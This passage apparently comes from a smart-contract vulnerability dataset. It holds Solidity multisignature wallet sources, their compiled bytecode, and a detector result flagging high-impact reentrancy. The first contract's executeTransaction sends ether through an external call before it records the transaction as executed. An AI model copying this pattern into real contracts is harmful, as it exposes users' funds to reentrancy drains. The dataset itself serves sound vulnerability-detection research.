break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
ownerExists(msg.sender)
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
contract MultiSigWallet is MultiSig {
function MultiSigWallet(address[] _owners, uint _required)
public
MultiSig( _owners, _required)
{
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
if (tx.destination.call.value(tx.value)(tx.data)) {
tx.executed = true;
Execution(transactionId);
} else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
}
contract token {function transfer(address receiver, uint amount) returns (bool success);}
contract MultiSigToken is MultiSig {
token public tokenFactory ;
function MultiSigToken(address[] _owners, uint _required, token _addressOfTokenFactory)
public
MultiSig( _owners, _required)
{
tokenFactory = token(_addressOfTokenFactory);
}
// @dev This unnamed function is called whenever someone tries to send ether to it
function()
{
throw; // Prevents accidental sending of ether
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
if (tokenFactory.transfer(tx.destination, tx.value)) {
tx.executed = true;
Execution(transactionId);
} else {
tx.executed = false;
ExecutionFailure(transactionId);
}
}
}
}
|
0x606060405236156101305763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610182578063173825d9146101b157806320ea8d86146101cf5780632f54bf6e146101e45780633411c81c1461021457806354741525146102475780637065cb4814610273578063784547a7146102915780638b51d13f146102b85780638da5cb5b146102dd5780639ace38c214610309578063a0e67e2b146103c6578063a8abe69a14610431578063b5dc40c3146104ac578063b77bf6001461051a578063ba51a6df1461053c578063c01a8c8414610551578063c642747414610566578063d74f8edd146105db578063dc8452cd146105fd578063e20056e61461061f578063ee22610b14610643578063f2fde38b14610658575b6101805b600034111561017d57604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b5b565b005b341561018a57fe5b610195600435610676565b60408051600160a060020a039092168252519081900360200190f35b34156101b957fe5b610180600160a060020a03600435166106a8565b005b34156101d757fe5b610180600435610854565b005b34156101ec57fe5b610200600160a060020a0360043516610931565b604080519115158252519081900360200190f35b341561021c57fe5b610200600435600160a060020a0360243516610946565b604080519115158252519081900360200190f35b341561024f57fe5b61026160043515156024351515610966565b60408051918252519081900360200190f35b341561027b57fe5b610180600160a060020a03600435166109d5565b005b341561029957fe5b610200600435610b2a565b604080519115158252519081900360200190f35b34156102c057fe5b610261600435610bbe565b60408051918252519081900360200190f35b34156102e557fe5b610195610c3d565b60408051600160a060020a039092168252519081900360200190f35b341561031157fe5b61031c600435610c4c565b60408051600160a060020a03861681526020810185905282151560608201526080918101828152845460026000196101006001841615020190911604928201839052909160a0830190859080156103b45780601f10610389576101008083540402835291602001916103b4565b820191906000526020600020905b81548152906001019060200180831161039757829003601f168201915b50509550505050505060405180910390f35b34156103ce57fe5b6103d6610c80565b604080516020808252835181830152835191928392908301918581019102808383821561041e575b80518252602083111561041e57601f1990920191602091820191016103fe565b5050509050019250505060405180910390f35b341561043957fe5b6103d660043560243560443515156064351515610ce9565b604080516020808252835181830152835191928392908301918581019102808383821561041e575b80518252602083111561041e57601f1990920191602091820191016103fe565b5050509050019250505060405180910390f35b34156104b457fe5b6103d6600435610e1e565b604080516020808252835181830152835191928392908301918581019102808383821561041e575b80518252602083111561041e57601f1990920191602091820191016103fe565b5050509050019250505060405180910390f35b341561052257fe5b610261610fa6565b60408051918252519081900360200190f35b341561054457fe5b610180600435610fac565b005b341561055957fe5b61018060043561103c565b005b341561056e57fe5b604080516020600460443581810135601f8101849004840285018401909552848452610261948235600160a060020a031694602480359560649492939190920191819084018382808284375094965061112895505050505050565b60408051918252519081900360200190f35b34156105e357fe5b610261611174565b60408051918252519081900360200190f35b341561060557fe5b610261611179565b60408051918252519081900360200190f35b341561062757fe5b610180600160a060020a036004358116906024351661117f565b005b341561064b57fe5b61018060043561133b565b005b341561066057fe5b610180600160a060020a03600435166114ad565b005b600480548290811061068457fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a03161415156106cb5760006000fd5b600160a060020a038216600090815260036020526040902054829060ff1615156106f55760006000fd5b600160a060020a0383166000908152600360205260408120805460ff1916905591505b600454600019018210156107f05782600160a060020a031660048381548110151561073f57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107e45760048054600019810190811061078057fe5b906000526020600020900160005b9054906101000a9004600160a060020a03166004838154811015156107af57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506107f0565b5b600190910190610718565b60048054600019019061080390826115ed565b50600454610818906002905b04600101610fac565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25b5b505b5050565b33600160a060020a03811660009081526003602052604090205460ff16151561087d5760006000fd5b600082815260026020908152604080832033600160a060020a038116855292529091205483919060ff1615156108b35760006000fd5b600084815260016020526040902060030154849060ff16156108d55760006000fd5b6000858152600260209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35b5b505b50505b5050565b60036020526000908152604090205460ff1681565b600260209081526000928352604080842090915290825290205460ff1681565b6000805b6006548110156109cd57838015610993575060008181526001602052604090206003015460ff16155b806109b757508280156109b7575060008181526001602052604090206003015460ff165b5b156109c4576001820191505b5b60010161096a565b5b5092915050565b30600160a060020a031633600160a060020a03161415156109f65760006000fd5b600160a060020a038116600090815260036020526040902054819060ff1615610a1f5760006000fd5b81600160a060020a0381161515610a365760006000fd5b6004805490506001016005546032821180610a5057508181115b80610a59575080155b80610a62575081155b15610a6d5760006000fd5b600160a060020a0385166000908152600360205260409020805460ff191660019081179091556004805490918101610aa583826115ed565b916000526020600020900160005b8154600160a060020a03808a166101009390930a9283029202191617905550600454610aea9060029061080f565b04600101610fac565b604051600160a060020a038616907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25b5b50505b505b505b50565b600080805b600454811015610bb65760008481526002602052604081206004805491929184908110610b5857fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b9a576001820191505b600554821415610bad5760019250610bb6565b5b600101610b2f565b5b5050919050565b6000805b600454811015610c365760008381526002602052604081206004805491929184908110610beb57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610c2d576001820191505b5b600101610bc2565b5b50919050565b600054600160a060020a031681565b60016020819052600091825260409091208054918101546003820154600160a060020a039093169290916002019060ff1684565b610c88611641565b6004805480602002602001604051908101604052809291908181526020018280548015610cde57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610cc0575b505050505090505b90565b610cf1611641565b610cf9611641565b60006000600654604051805910610d0d5750595b908082528060200260200182016040525b50925060009150600090505b600654811015610da757858015610d53575060008181526001602052604090206003015460ff16155b80610d775750848015610d77575060008181526001602052604090206003015460ff165b5b15610d9e57808383815181101515610d8c57fe5b60209081029091010152600191909101905b5b600101610d2a565b878703604051805910610db75750595b908082528060200260200182016040525b5093508790505b86811015610e12578281815181101515610de557fe5b9060200190602002015184898303815181101515610dff57fe5b602090810290910101525b600101610dcf565b5b505050949350505050565b610e26611641565b610e2e611641565b6004546040516000918291805910610e435750595b908082528060200260200182016040525b50925060009150600090505b600454811015610f285760008581526002602052604081206004805491929184908110610e8957fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610f1f576004805482908110610ed257fe5b906000526020600020900160005b9054906101000a9004600160a060020a03168383815181101515610f0057fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610e60565b81604051805910610f365750595b908082528060200260200182016040525b509350600090505b81811015610f9d578281815181101515610f6557fe5b906020019060200201518482815181101515610f7d57fe5b600160a060020a039092166020928302909101909101525b600101610f4f565b5b505050919050565b60065481565b30600160a060020a031633600160a060020a0316141515610fcd5760006000fd5b600454816032821180610fdf57508181115b80610fe8575080155b80610ff1575081155b15610ffc5760006000fd5b60058390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a15b5b50505b50565b33600160a060020a03811660009081526003602052604090205460ff1615156110655760006000fd5b6000828152600160205260409020548290600160a060020a0316151561108b5760006000fd5b600083815260026020908152604080832033600160a060020a038116855292529091205484919060ff16156110c05760006000fd5b6000858152600260209081526040808320600160a060020a0333168085529252808320805460ff191660011790555187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36109278561133b565b5b5b50505b505b5050565b33600160a060020a03811660009081526003602052604081205490919060ff1615156111545760006000fd5b61115f8585856114f6565b915061116a8261103c565b5b5b509392505050565b603281565b60055481565b600030600160a060020a031633600160a060020a03161415156111a25760006000fd5b600160a060020a038316600090815260036020526040902054839060ff1615156111cc5760006000fd5b600160a060020a038316600090815260036020526040902054839060ff16156111f55760006000fd5b600092505b60045483101561129d5784600160a060020a031660048481548110151561121d57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a03161415611291578360048481548110151561125c57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a0316021790555061129d565b5b6001909201916111fa565b600160a060020a03808616600081815260036020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25b5b505b505b505050565b600081815260016020526040812060030154829060ff161561135d5760006000fd5b61136683610b2a565b1561084d576001600084815260200190815260200160002091508160000160009054906101000a9004600160a060020a0316600160a060020a0316826001015483600201604051808280546001816001161561010002031660029004801561140f5780601f106113e45761010080835404028352916020019161140f565b820191906000526020600020905b8154815290600101906020018083116113f257829003601f168201915b505091505060006040518083038185876187965a03f1925050501561146d5760038201805460ff1916600117905560405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a261084d565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b5b5b5b505050565b60005433600160a060020a039081169116146114c95760006000fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600083600160a060020a038116151561150f5760006000fd5b60065460408051608081018252600160a060020a038881168252602080830189815283850189815260006060860181905287815260018085529690208551815473ffffffffffffffffffffffffffffffffffffffff191695169490941784559051948301949094559251805194965091939092611593926002850192910190611665565b50606091909101516003909101805460ff191691151591909117905560068054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a25b5b509392505050565b81548183558181151161084d5760008381526020902061084d9181019083016116e4565b5b505050565b81548183558181151161084d5760008381526020902061084d9181019083016116e4565b5b505050565b60408051602081019091526000815290565b60408051602081019091526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106116a657805160ff19168380011785556116d3565b828001600101855582156116d3579182015b828111156116d35782518255916020019190600101906116b8565b5b506116e09291506116e4565b5090565b610ce691905b808211156116e057600081556001016116ea565b5090565b905600a165627a7a7230582012198a7e9a7d4d00328ba6865f6be1d94f52e6b3e810b1526143ed84fc0b5a1f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,007 |
0xd498c820a05d430dc52752db4c5e52952606f5b8
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60606040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c278114610165578063173825d91461019757806320ea8d86146101b65780632f54bf6e146101cc5780633411c81c146101ff57806354741525146102215780637065cb4814610250578063784547a71461026f5780638b51d13f146102855780639ace38c21461029b578063a0e67e2b1461035a578063a8abe69a146103c0578063b5dc40c3146103e3578063b77bf600146103f9578063ba51a6df1461040c578063c01a8c8414610422578063c642747414610438578063d74f8edd1461049d578063dc8452cd146104b0578063e20056e6146104c3578063ee22610b146104e8575b60003411156101635733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b341561017057600080fd5b61017b6004356104fe565b604051600160a060020a03909116815260200160405180910390f35b34156101a257600080fd5b610163600160a060020a0360043516610526565b34156101c157600080fd5b6101636004356106bb565b34156101d757600080fd5b6101eb600160a060020a0360043516610799565b604051901515815260200160405180910390f35b341561020a57600080fd5b6101eb600435600160a060020a03602435166107ae565b341561022c57600080fd5b61023e600435151560243515156107ce565b60405190815260200160405180910390f35b341561025b57600080fd5b610163600160a060020a036004351661083a565b341561027a57600080fd5b6101eb600435610976565b341561029057600080fd5b61023e6004356109fa565b34156102a657600080fd5b6102b1600435610a69565b604051600160a060020a03851681526020810184905281151560608201526080604082018181528454600260001961010060018416150201909116049183018290529060a0830190859080156103485780601f1061031d57610100808354040283529160200191610348565b820191906000526020600020905b81548152906001019060200180831161032b57829003601f168201915b50509550505050505060405180910390f35b341561036557600080fd5b61036d610a9d565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156103ac578082015183820152602001610394565b505050509050019250505060405180910390f35b34156103cb57600080fd5b61036d60043560243560443515156064351515610b06565b34156103ee57600080fd5b61036d600435610c2e565b341561040457600080fd5b61023e610d92565b341561041757600080fd5b610163600435610d98565b341561042d57600080fd5b610163600435610e2b565b341561044357600080fd5b61023e60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610f1995505050505050565b34156104a857600080fd5b61023e610f38565b34156104bb57600080fd5b61023e610f3d565b34156104ce57600080fd5b610163600160a060020a0360043581169060243516610f43565b34156104f357600080fd5b6101636004356110f1565b600380548290811061050c57fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a031614151561054857600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057157600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105bb57fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105e857fe5b60009182526020909120015460038054600160a060020a03909216918490811061060e57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055610654565b600190910190610594565b60038054600019019061066790826113fb565b5060035460045411156106805760035461068090610d98565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff1615156106e357600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff16151561071857600080fd5b600084815260208190526040902060030154849060ff161561073957600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b600554811015610833578380156107fb575060008181526020819052604090206003015460ff16155b8061081f575082801561081f575060008181526020819052604090206003015460ff165b1561082b576001820191505b6001016107d2565b5092915050565b30600160a060020a031633600160a060020a031614151561085a57600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561088257600080fd5b81600160a060020a038116151561089857600080fd5b600380549050600101600454603282111580156108b55750818111155b80156108c057508015155b80156108cb57508115155b15156108d657600080fd5b600160a060020a0385166000908152600260205260409020805460ff19166001908117909155600380549091810161090e83826113fb565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b6003548110156109f357600084815260016020526040812060038054919291849081106109a457fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff16156109d8576001820191505b6004548214156109eb57600192506109f3565b60010161097b565b5050919050565b6000805b600354811015610a635760008381526001602052604081206003805491929184908110610a2757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a5b576001820191505b6001016109fe565b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610aa5611424565b6003805480602002602001604051908101604052809291908181526020018280548015610afb57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610add575b505050505090505b90565b610b0e611424565b610b16611424565b600080600554604051805910610b295750595b9080825280602002602001820160405250925060009150600090505b600554811015610bbe57858015610b6e575060008181526020819052604090206003015460ff16155b80610b925750848015610b92575060008181526020819052604090206003015460ff165b15610bb65780838381518110610ba457fe5b60209081029091010152600191909101905b600101610b45565b878703604051805910610bce5750595b908082528060200260200182016040525093508790505b86811015610c2357828181518110610bf957fe5b906020019060200201518489830381518110610c1157fe5b60209081029091010152600101610be5565b505050949350505050565b610c36611424565b610c3e611424565b6003546000908190604051805910610c535750595b9080825280602002602001820160405250925060009150600090505b600354811015610d1b5760008581526001602052604081206003805491929184908110610c9857fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d13576003805482908110610cd357fe5b600091825260209091200154600160a060020a0316838381518110610cf457fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610c6f565b81604051805910610d295750595b90808252806020026020018201604052509350600090505b81811015610d8a57828181518110610d5557fe5b90602001906020020151848281518110610d6b57fe5b600160a060020a03909216602092830290910190910152600101610d41565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515